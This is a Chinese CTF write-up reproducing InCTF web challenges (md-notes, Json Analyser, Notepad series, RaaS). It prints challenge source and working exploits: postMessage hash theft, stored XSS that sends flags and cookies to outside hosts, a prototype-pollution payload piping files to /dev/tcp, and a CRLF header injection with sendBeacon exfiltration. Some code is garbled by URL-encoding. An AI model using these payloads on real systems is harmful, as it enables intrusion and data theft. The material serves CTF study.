InCTF 复现

admin 2023-11-13 14:19:03 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

 

作者:DR@03@星盟

md-notes

环境搭建

docker遇到报错1

Sending build context to Docker daemon 32.26kB
Step 1/16 : FROM golang:alpine
—-> cfae2977b751
Step 2/16 : RUN apk —no-cache add build-base
—-> Running in edbf89a8989c
fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/main/x86_64/APKINDEX.tar.gz
WARNING: Ignoring https://dl-cdn.alpinelinux.org/alpine/v3.14/main: temporary error (try again later)
fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/community/x86_64/APKINDEX.tar.gz
WARNING: Ignoring https://dl-cdn.alpinelinux.org/alpine/v3.14/community: temporary error (try again later)
ERROR: unable to select packages:
build-base (no such package):
required by: world[build-base]
The command ‘/bin/sh -c apk —no-cache add build-base’ returned a non-zero code: 1

解决方法1

换源

在第二句上面增加一句RUN sed -i ‘s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g’ /etc/apk/repositories

docker遇到报错2

然后问题是go: github.com/gomarkdown/[email protected]-20210514010506-3b9f47219fe7: Get “<a href=”https://proxy.golang.org/github.com/gomarkdown/markdown/@v/v0.0.0-20210514010506-3b9f47219fe7.mod””>https://proxy.golang.org/github.com/gomarkdown/markdown/@v/v0.0.0-20210514010506-3b9f47219fe7.mod“: dial tcp 142.251.43.17:443: connect: connection refused

解决方法2

如链接所做

[go学习]解决golang.org无法访问的问题_zhagzheguo的博客-CSDN博客_golang.org

做题

信息搜集

这是一个markdown界面,一般考点在于xss和csrf。

由于是ctf题目,所以不进行端口和whois等信息搜集。

可以尝试路径爆破。

比赛时,我没有尝试过,现在复现时,发现存在很多可知路径,可能是环境搭建的原因,故不深究。部分回显如下

当然,还可以看看有没有源码泄露,备份文件泄露等内容。这里不做尝试,但是这些步骤确实在比赛中应该存在。

app.js

这道题得到的信息来源在于源码,存在app.js

app.js存在网站运行逻辑

let preview = document.getElementById("preview"),
    save = document.getElementById("save"),
    textarea = document.getElementById("input-area"),
    frame = document.getElementById("frame-area"),
    status = document.getElementById("status"), 
    token = undefined; 

alert = function(msg) {
    status.innerText = "Info: " + msg; 
}

preview.onclick = function() {
    console.log("Sending Preview..")
    frame.contentWindow.postMessage(textarea.value, `http://${document.location.host}/`); 
    return false;
}

save.onclick = function() {
    if (token == undefined)
    {
        alert("Preview before saving!")
    } else {
        fetch("/api/create", {
            method: "POST",
            credentials: "include",
            body: JSON.stringify({
                Hash: token,
                Raw: textarea.value
            })
        }).then(resp => resp.json())
        .then(response => {
            if (response["Status"] != "success") {
                alert("Could not save markdown.")
            } else {
                alert("Saved post to : " + response["Bucket"] + "/" + response["PostId"])
                frame.src = `http://${document.location.host}/${response['Bucket']}/${response["PostId"]}`
            }
            console.log(response)
            token = undefined
        }); 
    }
    return false; 
}

window.addEventListener("message", (event) => {
    if (event.origin != window.origin)
    {
        console.log("Error");
        return false;
    }
    data = event.data
    textarea.value = data["Raw"]
    token = data["Hash"]
});

preview就是将框内内容传到特定网址,且我们不能改变。

save就是向create POST传参接收bucket和postid作为路径

preview.js

除此之外,在页面源代码中还有一个路径/demo

访问后得到preview.js

let area = document.getElementById("safe")

window.addEventListener("message", (event) => {
    console.log("Previewing..")
    let raw = event.data

    fetch("/api/filter", {
        method: "POST",
        credentials: "include",
        body: JSON.stringify({
            raw: raw
        })
    })
    .then(resp => resp.json())
    .then(response => {
        console.log("Filtered")
        document.body.innerHTML = response.Sanitized
        window.parent.postMessage(response, "*"); 
    }); 
}, false);

向filter POST传参

经过过滤的内容,作为html插入网站

还有window.parent.postMessage

这就是一个漏洞点

window.postMessage – Web API 接口参考 | MDN (mozilla.org)中提到

当您使用postMessage将数据发送到其他窗口时,始终指定精确的目标origin,而不是*。

而这道题恰恰使用了*,所以我们可以接收到postmessage的内容。

那么postmessage存在哪些内容呢

我们可以抓包看看

有hash值,sanitizedhtml语句和语句raw。

我们要想访问flag,就需要获取admin的token。

server.go
package main

import (
    "os"
    "fmt"
    "log"
    "html"
    "time"
    "strconv"
    "net/http"
    "io/ioutil"
    "math/rand"
    "encoding/hex"
    "database/sql"
    "encoding/json"
    "html/template"
    "crypto/sha256"

    "github.com/gorilla/mux"
    "github.com/nu7hatch/gouuid"
    "github.com/gorilla/handlers"
    _ "github.com/mattn/go-sqlite3"
    "github.com/gomarkdown/markdown"

)

var indexTmpl = template.Must(template.ParseFiles("./templates/index.html"))
var previewTmpl = template.Must(template.ParseFiles("./templates/preview.html"))

type Unsanitized struct {
    Raw string `json:"raw"`
}

type Sanitized struct {
    Sanitized string `json:Sanitized`
    Raw string `json:Raw`
    Hash string `json:Hash`
}

type Preview struct {
    Error string
    Data template.HTML
}

type CreatePost struct {
    Raw string 
    Hash string
}

type Config struct {
    admin_bucket string
    admin_token string
    admin_hash string
    secret string
    modulus int
    seed int
    a int
    c int
}

var CONFIG Config
var db *sql.DB

func createToken() (string, string) {
    token, _ := uuid.NewV4()
    h := sha256.New()
    h.Write([]byte(token.String() + CONFIG.secret))
    sha256_hash := hex.EncodeToString(h.Sum(nil))
    return string(sha256_hash), token.String()
}

func verifyToken(token, input string) bool {
    h := sha256.New()
    h.Write([]byte(token  + CONFIG.secret))
    sha256_hash := hex.EncodeToString(h.Sum(nil))

    if string(sha256_hash) == input {
        return true
    } 
    return false
}

func getadminhash() string {
    token := CONFIG.admin_token
    h := sha256.New()
    h.Write([]byte(token + CONFIG.secret))
    sha256_hash := hex.EncodeToString(h.Sum(nil))
    log.Println("Generated admin's hash ", sha256_hash)
    return string(sha256_hash)
}

func save_post(bucket, data string) int {
    postid := ((CONFIG.seed * CONFIG.a) + CONFIG.c) % CONFIG.modulus
    CONFIG.seed = postid
    stmt, _ := db.Prepare("INSERT INTO posts(postid, bucket, note) VALUES (?, ?, ?)")
    stmt.Exec(postid, bucket, data)
    return postid
}

func sanitize(raw string) string {
    return html.EscapeString(raw)
}

func indexHandler(w http.ResponseWriter, r *http.Request) {
    indexTmpl.Execute(w, nil)
}

func previewHandler(w http.ResponseWriter, r *http.Request) {
    vars := mux.Vars(r)
    res := Preview{Error: "", Data: ""}

    postid, found := mux.Vars(r)["postid"]
    if found {
        bucketid := vars["bucketid"]
        fmt.Println("Requested for", bucketid, postid)
        id, _ := strconv.ParseInt(postid, 10, 64)
        rows, err := db.Query("SELECT note FROM posts WHERE bucket = ? AND postid = ?", bucketid, id)
        checkErr(err)

        counter := 0
        var note string

        for rows.Next(){
            if err := rows.Scan(&note); err != nil {
                log.Fatal("Unable to scan results:", err)
            }
            counter++
        }

        if counter == 0 {
            res = Preview{Error: "Note not found.", Data: ""}
        } else if counter != 1 {
            res = Preview{Error: "Could not find notes.", Data: ""}
        } else {
            res = Preview{Error: "", Data: template.HTML(note)}
        }
    } 
    previewTmpl.Execute(w, res)
}

func filterHandler(w http.ResponseWriter, r *http.Request) {
    reqBody, _ := ioutil.ReadAll(r.Body)
    w.Header().Set("Content-Type", "application/json")
    var unsanitized Unsanitized

    err := json.Unmarshal(reqBody, &unsanitized)

    if err != nil {

        log.Println("Error decoding JSON. err = %s", err)
        fmt.Fprintf(w, "Error decoding JSON.")

    } else {
        var cookie, isset = r.Cookie("Token") 

        hash, token := createToken()

        sanitized_data := markdown.ToHTML([]byte(sanitize(unsanitized.Raw)), nil, nil)

        if isset == nil {
            if cookie.Value == CONFIG.admin_token {
                hash = CONFIG.admin_hash
                token = CONFIG.admin_token
            }
        } 

        cookie = &http.Cookie{Name: "Token", Value: token, HttpOnly: true, Path: "/api"}
        result := Sanitized{Sanitized: string(sanitized_data), Raw: unsanitized.Raw, Hash: hash}
        http.SetCookie(w, cookie)
        json.NewEncoder(w).Encode(result)
    }
}

func createHandler(w http.ResponseWriter, r *http.Request) {
    reqBody, _ := ioutil.ReadAll(r.Body)
    w.Header().Set("Content-Type", "application/json")

    type Response struct {
        Status string
        PostId int
        Bucket string
    }
    var createpost CreatePost

    if json.Unmarshal(reqBody, &createpost) != nil {
        log.Println("There was an error decoding json. \n")
        json.NewEncoder(w).Encode(Response{Status: "Save Error"})
    } else {
        var cookie, err = r.Cookie("Token")

        if err == nil {
            var token = cookie.Value
            if verifyToken(token, createpost.Hash) || (createpost.Hash == CONFIG.admin_hash){
                bucket := CONFIG.admin_bucket
                data := createpost.Raw

                if createpost.Hash != CONFIG.admin_hash {
                    id , _ := uuid.NewV4()
                    bucket = id.String()
                    data = string(markdown.ToHTML([]byte(sanitize(data)), nil, nil))
                } else {
                    data = string(markdown.ToHTML([]byte(data), nil, nil))
                }

                postid := save_post(bucket, data)
                log.Println("Saved post to", postid)
                json.NewEncoder(w).Encode(Response{Status: "success", Bucket: bucket, PostId: postid})
            } else {
                log.Println("Verification failed for ", createpost.Hash, token)
                json.NewEncoder(w).Encode(Response{Status: "Token not verified"})
            }
        } else {
            json.NewEncoder(w).Encode(Response{Status: "Invalid body."})
        }
    }
}

func flag(w http.ResponseWriter, r *http.Request) {
    var cookie, err = r.Cookie("Token")
    res := Preview{Error: "", Data: "'"}
    if err == nil {
        if cookie.Value == CONFIG.admin_token {
            res.Data = template.HTML(CONFIG.admin_token)
        } else {
            res.Data = template.HTML("You are not admin.")
        }
    }
    previewTmpl.Execute(w, res)    
}

func debug(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/json")
        type Response struct {
            Admin_bucket string
            VAL_A int
            VAL_B int
        }
    json.NewEncoder(w).Encode(Response{Admin_bucket: CONFIG.admin_bucket, VAL_A: CONFIG.a, VAL_B: CONFIG.c})
}

func clear_database() {
    for range time.Tick(time.Second * 1 * 60 * 30) {
        stmt, _ := db.Prepare("DELETE FROM posts")
        stmt.Exec()
        log.Println("Cleared database.")
    }
}

func handleRequests() {
    route := mux.NewRouter().StrictSlash(true)
    go clear_database()

    fs := http.FileServer(http.Dir("./static/"))
    route.PathPrefix("/static/").Handler(http.StripPrefix("/static/", fs))
    route.HandleFunc("/", indexHandler)
    route.HandleFunc("/demo",  previewHandler).Methods("GET")
    route.HandleFunc("/api/flag", flag).Methods("GET")
    route.HandleFunc("/api/filter", filterHandler).Methods("POST")
    route.HandleFunc("/api/create", createHandler).Methods("POST")
    route.HandleFunc("/{bucketid}/{postid}", previewHandler).Methods("GET")
    route.HandleFunc("/_debug",  debug).Methods("GET")

    loggedRouter := handlers.LoggingHandler(os.Stdout, route)
    srv := &http.Server{
        Addr: "0.0.0.0" + os.Getenv("PORT"),
        WriteTimeout: time.Second * 15,
        ReadTimeout:  time.Second * 15,
        IdleTimeout:  time.Second * 60,
        Handler:      loggedRouter,
    }

    if err := srv.ListenAndServe(); err != nil {
        log.Println(err)
    }
}

func checkErr(err error) {
    if err != nil {
        panic(err)
    }
}

func main() {
    db, _ = sql.Open("sqlite3", "./database.db")

    stmt, _ := db.Prepare("CREATE TABLE IF NOT EXISTS posts (postid, bucket, note)")
    stmt.Exec()

    stmt, _ = db.Prepare("DELETE FROM posts")
    stmt.Exec()

    a, _ := strconv.Atoi(os.Getenv("VAL_A"))
    c, _ := strconv.Atoi(os.Getenv("VAL_B"))

    CONFIG = Config{
        admin_bucket: os.Getenv("ADMIN_BUCKET"),
        admin_token: os.Getenv("FLAG"),
        secret: os.Getenv("SECRET"),
        admin_hash: getadminhash(), 
        modulus: 99999999999,
        seed: rand.Intn(9e15) + 1e15, 
        a: a, 
        c: c,
    }

    fmt.Println("App running on http://localhost", os.Getenv("PORT"))
    handleRequests()
}

解题思路

markdown界面可能可以构造xss,通过postmessage的漏洞我们能够获取hash值,还有一个bot界面可以访问任意网页,而我们需要的是token。所以我们构造一个存储型xss利用CSRF获取flag。

现在问题是如何生成xss

if createpost.Hash != CONFIG.admin_hash {

​    id , _ := uuid.NewV4()

​    bucket = id.String()

​    data = string(markdown.ToHTML([]byte(sanitize(data)), nil, nil))

} else {

​    data = string(markdown.ToHTML([]byte(data), nil, nil))

}

由代码可知,当我们的hash值是admin的值时,markdown语句直接插入。

所以我们自己构造一个网页,让bot访问从而得到hash。再利用hash写入存储型xss,最后得到token获取flag

实践

构建页面实现小窗口访问demo

<iframe src="http://172.17.0.3/demo:8080"%20id="iframe"%20></iframe>

虽然在这里我们会接收到hash,但是并不会在前端显示,所以我们要将包中数据显示在我们可以看到的地方。将上面的代码完善

<script>
function%20exploit(){
document.getElementById("iframe").contentWindow.postMessage("test","*")
}
window.addEventListener("message",(event)=>{
var%20imag%20=%20new%20Image();
img.src%20=%20"http://172.17.0.3/?hash="+event.data.Hash;
},false);
</script>
<iframe%20src="http://172.17.0.3/demo:8080"%20id="iframe"%20onload="exploit()"%20></iframe>

将接收到的hash当作参数和网址当作图片链接。我们查看图片链接就可以知道hash

然后注入xss

<script>
%20%20%20%20fetch(String.fromCharCode(47,%2097,%20112,%20105,%2047,%20102,%20108,%2097,%20103))%20%20%20//%20%20/api/flag
%20%20%20%20.then(function(response)%20{return%20response.text();})
%20%20%20%20.then(function%20(text)%20{
%20%20%20%20%20%20%20%20var%20img%20=%20new%20Image();
%20%20%20%20%20%20%20%20img.src%20=%20String.fromCharCode(104,%20116,%20116,%20112,%2058,%2047,%2047,%2048,%2053,%2053,%2099,%2052,%20100,%2052,%2050,%2049,%2056,%2057,%20101,%2046,%20110,%20103,%20114,%20111,%20107,%2046,%20105,%20111,%2047,%2063,%20100,%2097,%20116,%2097,%2061)%20+%20encodeURIComponent(text);%20%20%20%20/http://%20%20%20%20%20/%20%20?%20text
%20%20%20%20})
</script>

最后利用CSRF获取flag

总结

hash通过postmessage漏洞获取,xss注入后,实现CSRF得到flag

这道题环境搭建不完全,bot没有,解题过程借鉴了MD%20Notes%20–%20CTFs%20(zeyu2001.com)

 

Json%20Analyser 环境搭建

唯一问题%20npm%20install%20不能执行

再dockerfile中增加npm%20config%20set%20strict-ssl%20false解决

做题

有两个js文件,但是源码并不完全

script.js
$("form").on("change",%20".file-upload-field",%20function(){%20
%20%20%20%20$(this).parent(".file-upload-wrapper").attr("data-text",%20%20%20%20%20%20%20%20%20$(this).val().replace(/.*(\/|\\)/,%20'')%20);
});
get_role.js
function%20get_roles(){
%20%20%20%20const%20role=document.getElementById("role").value
%20%20%20%20fetch('http://127.0.0.1:5555/verify_roles?role='+role).then(response=>
%20%20%20%20%20%20%20%20response.text()
%20%20%20%20).then(data%20=>{
%20%20%20%20%20%20%20%20document.getElementById("output").innerHTML=data;
%20%20%20%20})
}

对功能进行操作,发现上传文件需要pin,目前还是没有思路,打开waf.py查看源码

waf.py
from%20flask%20import%20Flask,%20request
from%20flask_cors%20import%20CORS
import%20ujson
import%20json
import%20re
import%20os

os.environ['subscription_code']%20=%20'[REDACTED]'
app=Flask(__name__)
cors%20=%20CORS(app)
CORS(app)
cors%20=%20CORS(app,%20resources={
%20%20%20%20r"/verify_roles":%20{
%20%20%20%20%20%20%20"origins":%20"*"
%20%20%20%20}
})

@app.route('/verify_roles',methods=['GET','POST'])
def%20verify_roles():
%20%20%20%20no_hecking=None
%20%20%20%20role=request.args.get('role')
%20%20%20%20if%20"superuser"%20in%20role:
%20%20%20%20%20%20%20%20role=role.replace("superuser",'')
%20%20%20%20if%20"%20"%20in%20role:
%20%20%20%20%20%20%20%20return%20"n0%20H3ck1ng"
%20%20%20%20if%20len(role)>30:
%20%20%20%20%20%20%20%20return%20"invalid%20role"
%20%20%20%20data='"name":"user","role":"{0}"'.format(role)
%20%20%20%20no_hecking=re.search(r'"role":"(.*?)"',data).group(1)
%20%20%20%20if(no_hecking)==None:
%20%20%20%20%20%20%20%20return%20"bad%20data%20:("
%20%20%20%20if%20no_hecking%20==%20"superuser":
%20%20%20%20%20%20%20%20return%20"n0%20H3ck1ng"
%20%20%20%20data='{'+data+'}'
%20%20%20%20try:
%20%20%20%20%20%20%20%20user_data=ujson.loads(data)
%20%20%20%20except:
%20%20%20%20%20%20%20%20return%20"bad%20format"%20
%20%20%20%20role=user_data['role']
%20%20%20%20user=user_data['name']
%20%20%20%20if%20(user%20==%20"admin"%20and%20role%20==%20"superuser"):
%20%20%20%20%20%20%20%20return%20os.getenv('subscription_code')
%20%20%20%20else:
%20%20%20%20%20%20%20%20return%20"no%20subscription%20for%20you"

if%20__name__=='__main__':
%20%20%20%20app.run(host='0.0.0.0',port=5555)

role=role.replace(“superuser”,’’)

替换superuser为空

if%20“%20“%20in%20role:
return%20“n0%20H3ck1ng”

不能有空格

role<30

if%20(user%20==%20“admin”%20and%20role%20==%20“superuser”):
return%20os.getenv(‘subscription_code’)

需要user为admin%20role为superuser

但是data=’”name”:”user”,”role”:”{0}”‘.format(role)决定了name是user,这里需要用到ujson的重复键

重复键
obj%20=%20{"test":%201,%20"test":%202}

obj[test]%20=2

所以,我们在%20role传参时,包含user%20:%20admin%20使得user为admin,同时由于替换superuser所以使用复写绕过

role=supersuperuseruser”,”user”:%20“admin

但是if%20no_hecking%20==%20“superuser”:
return%20“n0%20H3ck1ng”

使得尽管绕过了替换,后续的检测依旧不能成功

我们需要role!===superuser%20但是%20role%20==%20superuser%20,这怎么实现呢,我们可以看到下面的user_data=ujson.loads(data),ujson存在字符截断,就是U+D800-U+DFFF在ujson的解析中,不会影响值。

所以我们使用role=supersuperuseruser/ud800”,”user”:”admin

上传一个json

源码是app.py

const express = require('express');
const fileUpload = require('express-fileupload');
const fs = require("fs");
const sqrl = require('squirrelly');
const app = express();
port = 8088



app.use(express.static('static'));
app.set('view engine', 'squirrelly');
app.set('views', __dirname + '/views')
app.use(fileUpload());

app.get('/waf', function (req, res) {
    res.sendFile(__dirname+'/static/waf.html');
});

app.get('/restart',function(req,res){
    var content='';
    content=fs.readFileSync('package.json','utf-8')
    fs.writeFileSync('package1.json', content)
})

app.get('/', function (req, res) {
    res.sendFile(__dirname+'/static/index.html');
});

app.post('/upload', function(req, res) {
    let uploadFile;
    let uploadPath;
    if(req.body.pin !== "[REDACTED]"){
        return res.send('bad pin')
    }
    if (!req.files || Object.keys(req.files).length === 0) {
      return res.status(400).send('No files were uploaded.');
    }
    uploadFile = req.files.uploadFile;
    uploadPath = __dirname + '/package.json' ;
    uploadFile.mv(uploadPath, function(err) {
        if (err)
            return res.status(500).send(err);
        try{
            var config = require('config-handler')();
        }
        catch(e){
            const src = "package1.json";
            const dest = "package.json";
            fs.copyFile(src, dest, (error) => {
                if (error) {
                    console.error(error);
                    return;
                }
                console.log("Copied Successfully!");
            });
            return res.sendFile(__dirname+'/static/error.html')
        }
        var output='\n';
        if(config['name']){
            output=output+'Package name is:'+config['name']+'\n\n';
        }
        if(config['version']){
            output=output+ "version is :"+ config['version']+'\n\n'
        }
        if(config['author']){
            output=output+"Author of package:"+config['author']+'\n\n'
        }
        if(config['license']){
            var link=''
            if(config['license']==='ISC'){
                link='https://opensource.org/licenses/ISC'+'\n\n'
            }
            if(config['license']==='MIT'){
                link='https://www.opensource.org/licenses/mit-license.php'+'\n\n'
            }
            if(config['license']==='Apache-2.0'){
                link='https://opensource.org/licenses/apache2.0.php'+'\n\n'
            }
            if(link==''){
                var link='https://opensource.org/licenses/'+'\n\n'
            }
            output=output+'license :'+config['license']+'\n\n'+'find more details here :'+link;
        }
        if(config['dependencies']){
            output=output+"following dependencies are thier corresponding versions are used:" +'\n\n'+'     '+JSON.stringify(config['dependencies'])+'\n'
        }

        const src = "package1.json";
        const dest = "package.json";
        fs.copyFile(src, dest, (error) => {
            if (error) {
                console.error(error);
                return;
            }
        });
        res.render('index.squirrelly', {'output':output})
    });
});



var server= app.listen(port, () => {
    console.log(`Example app listening at http://localhost:${port}`)
});
server.setTimeout(10000);

这里推测需要原型链污染RCE

在name中添加

{
    "__proto__":{
         "defaultFilter" : "e'));process.mainModule.require('child_process').execSync('/bin/bash -c \\'cat /* > /dev/tcp/172.17.0.2:1554/\\'')//"
      }
}

总结

知识点在于重复键名读取最后一个,ujson解析有\ud800不可读,原型链污染反弹shell

借鉴JsonAnalyser

 

Notepad系列

notepad1

环境搭建

问题一

go: github.com/gorilla/[email protected]: Get “<a href=”https://proxy.golang.org/github.com/gorilla/handlers/@v/v1.5.1.mod””>https://proxy.golang.org/github.com/gorilla/handlers/@v/v1.5.1.mod“: dial tcp 142.251.43.17:443: connect: connection refused

解决方法

在dockerfile中增加go env -w GOPROXY=https://goproxy.cn

问题二

404

解决方法

改main.go的r.host为自己环境的访问网址(感谢jiryu指点)

解题

源码
package main

import (
    "crypto/md5"
    "encoding/hex"
    "flag"
    "fmt"
    "log"
    "math/rand"
    "net/http"
    "os"
    "regexp"
    "strings"
    "time"

    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"
)

const adminID = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
const adminNOTE = "inctf{flag}"

var Notes = make(map[string]string)

// Prevent XSS on api-endpoints ¬‿¬
var cType = map[string]string{
    "Content-Type":            "text/plain",
    "x-content-type-options":  "nosniff",
    "X-Frame-Options":         "DENY",
    "Content-Security-Policy": "default-src 'none';",
}

func cookGenerator() string {
    hash := md5.Sum([]byte(string(rand.Intn(30))))
    return hex.EncodeToString((hash)[:])
}

func headerSetter(w http.ResponseWriter, header map[string]string) {
    for k, v := range header {
        w.Header().Set(k, v)
    }
}

func getIDFromCooke(r *http.Request, w http.ResponseWriter) string {
    var cooke, err = r.Cookie("id")
    re := regexp.MustCompile("^[a-zA-Z0-9]+$")
    var cookeval string
    if err == nil && re.MatchString(cooke.Value) && len(cooke.Value) <= 35 && len(cooke.Value) >= 30 {
        cookeval = cooke.Value
    } else {
        cookeval = cookGenerator()
        c := http.Cookie{
            Name:     "id",
            Value:    cookeval,
            SameSite: 2,
            HttpOnly: true,
            Secure:   false,
        }
        http.SetCookie(w, &c)
    }
    return cookeval
}

func add(w http.ResponseWriter, r *http.Request) {

    id := getIDFromCooke(r, w)
    if id != adminID {
        r.ParseForm()
        noteConte := r.Form.Get("content")
        if len(noteConte) < 75 {
            Notes[id] = noteConte
        }
    }
    fmt.Fprintf(w, "OK")
}

func get(w http.ResponseWriter, r *http.Request) {
    id := getIDFromCooke(r, w)
    x := Notes[id]
    headerSetter(w, cType)
    if x == "" {
        fmt.Fprintf(w, "404 No Note Found")
    } else {
        fmt.Fprintf(w, x)
    }
}

func find(w http.ResponseWriter, r *http.Request) {

    id := getIDFromCooke(r, w)

    param := r.URL.Query()
    x := Notes[id]

    var which string
    str, err := param["condition"]
    if !err {
        which = "any"
    } else {
        which = str[0]
    }

    var start bool
    str, err = param["startsWith"]
    if !err {
        start = strings.HasPrefix(x, "snake")
    } else {
        start = strings.HasPrefix(x, str[0])
    }
    var responseee string
    var end bool
    str, err = param["endsWith"]
    if !err {
        end = strings.HasSuffix(x, "hole")
    } else {
        end = strings.HasSuffix(x, str[0])
    }

    if which == "starts" && start {
        responseee = x
    } else if which == "ends" && end {
        responseee = x
    } else if which == "both" && (start && end) {
        responseee = x
    } else if which == "any" && (start || end) {
        responseee = x
    } else {
        _, present := param["debug"]
        if present {
            delete(param, "debug")
            delete(param, "startsWith")
            delete(param, "endsWith")
            delete(param, "condition")

            for k, v := range param {
                for _, d := range v {

                    if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
                        w.Header().Set(k, d)
                    }
                    break
                }
                break
            }
        }
        responseee = "404 No Note Found"
    }
    headerSetter(w, cType)
    fmt.Fprintf(w, responseee)
}

// Reset notes every 30 mins.  No Vuln in this
func resetNotes() {
    Notes[adminID] = adminNOTE
    for range time.Tick(time.Second * 1 * 60 * 30) {
        Notes = make(map[string]string)
        Notes[adminID] = adminNOTE
    }
}

func main() {
    rand.Seed(time.Now().UnixNano())

    var dir string
    flag.StringVar(&dir, "dir", "./public", "the directory to serve files from. Defaults to the current dir")
    flag.Parse()
    go resetNotes()
    r := mux.NewRouter()
    s := r.Host("这里更改").Subrouter()
    s.HandleFunc("/add", add).Methods("POST")
    s.HandleFunc("/get", get).Methods("GET")
    s.HandleFunc("/find", find).Methods("GET")
    s.PathPrefix("/").Handler(http.StripPrefix("/", http.FileServer(http.Dir(dir))))
    fmt.Println("Server started at http://0.0.0.0:3000")
    loggedRouter := handlers.LoggingHandler(os.Stdout, r)
    srv := &http.Server{
        Addr: "0.0.0.0:3000",
        // Good practice to set timeouts to avoid Slowloris attacks.
        WriteTimeout: time.Second * 15,
        ReadTimeout:  time.Second * 15,
        IdleTimeout:  time.Second * 60,
        Handler:      loggedRouter, // Pass our instance of gorilla/mux in.
    }
    if err := srv.ListenAndServe(); err != nil {
        log.Println(err)
    }
}

首先看看flag在哪:resetnotes中,将note[adminid] 设为flag,我们需要读取就要知道adminid,从find get add中我们看到id从cookie中得到,所以我们要获得admin的cookie

根据提示,漏洞在api

分析add find get

add get 平平无奇,只有find比较复杂

包括了start end condition 以及debug

显然debug 是重点

将输入键值分离插入头中

而这里我们可以通过setcookie添加cookie

复现

首先,要想拿到flag就要用admin的id去访问get

如何获取是第一步

我们制造一个存储型xss,让bot的cookie被记录,但是由于存储有长度限制,所以以cookie作为跳板

<img/src/onerror=”eval(document.cookie.split(‘; ‘).sort().join(‘;’))”>

将\<img src=#%20id=xssyou%20style=display:none%20onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxsscom.com%2F%2FZcc2gA%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

分到下面语句中

debug=a&Set-Cookie=var%20A%20=%20“”;

debug=a&Set-Cookie=var%20B%20=%20A%20+%20“”;

………………………..

访问可得cookie

第二步设置cookie,我们使用set-cookie,利用find的debug

debug=a&Set-Cookie=id=${cookie}%3B%20path=/get

然后我们访问get,发现访问时cookie添加了admin的id,flag获得

notepad15

环境搭建上同

解题

15和1的区别就在于不能直接上传xss,以及对传参进行了限制

for v, d := range param {
    for _, k := range d {

        if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 {
            w.Header().Set(v, k)
        }
        break
    }
    break
}

检测最后的值以及限制长度

所以我们要寻找新的漏洞点

CRLF in Flask’s headers.set method in make_response · Issue #4238 · pallets/flask · GitHub

一个header().set()的漏洞能够填充header

利用漏洞,我们在content中增加xss的script代码

但是,我们不能使用第一题的思路先获取cookie再得到flag。

我们要直接bot访问我们的网页,利用CSRF直接获取flag返回。

我们使用window.open(“http://IP:PORT/find?debug=a&Content-Type:text/html%0A%0A%3Chtml%3E%3Cscript%3Eeval(window.name)%3C/script%3E“, name=`fetch(‘/get’).then(response=>response.text()).then(data=>navigator.sendBeacon(‘接收IP’,data))`)

借鉴Notepad Series – InCTF Internationals 2021 | bi0s

 

raas

由于没有环境可以复现,当时我也没有看这道题,所以给个wp地址RaaS – CTFs (zeyu2001.com)

简单来说就是可以根据file协议读取文件,根据dockerfile得知存在文件app.py,发现使用了redis,当GET传参,cookie存在userid且判断isadmin为yes则返回flag,然后以gopher传输redis命令

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  0